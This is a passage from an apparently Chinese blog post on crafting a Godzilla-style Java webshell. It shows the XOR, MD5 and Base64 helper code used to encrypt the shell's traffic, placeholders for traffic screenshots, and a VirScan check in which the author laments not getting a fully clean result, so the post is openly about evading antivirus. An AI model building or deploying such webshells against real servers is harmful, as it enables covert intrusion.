        int keyIndex = (i + 1) & 15;
        result[i] = (byte)(data[i] ^ keyBytes[keyIndex]);
    }
    return result;
}
public String md5(String s) {
    try {
        java.security.MessageDigest m = java.security.MessageDigest.getInstance("MD5");
        m.update(s.getBytes(), 0, s.length());
        return new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
    } catch (Exception e) { return ""; }
}
public String base64Encode(byte[] bs) {
    try {
        return Base64.getEncoder().encodeToString(bs);
    } catch (Exception e) {
        try {
            return new sun.misc.BASE64Encoder().encode(bs);
        } catch (Exception e2) { return ""; }
    }
}
public byte[] base64Decode(String bs) throws Exception {
    try {
        return Base64.getDecoder().decode(bs);
    } catch (Exception e) {
        try {
            return new sun.misc.BASE64Decoder().decodeBuffer(bs);
        } catch (Exception e2) { return null; }
    }
}

木马流量如下

image-20250621101528687

image-20250621101536032

image-20250621101542432

virscan结果(😢😢tnnd,为什么不是全绿)

image-20250621102117417

参考

https://github.com/BeichenDream/Godzilla

https://mp.weixin.qq.com/s/ktXCzQrzthcde0PrKIA_vA

评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇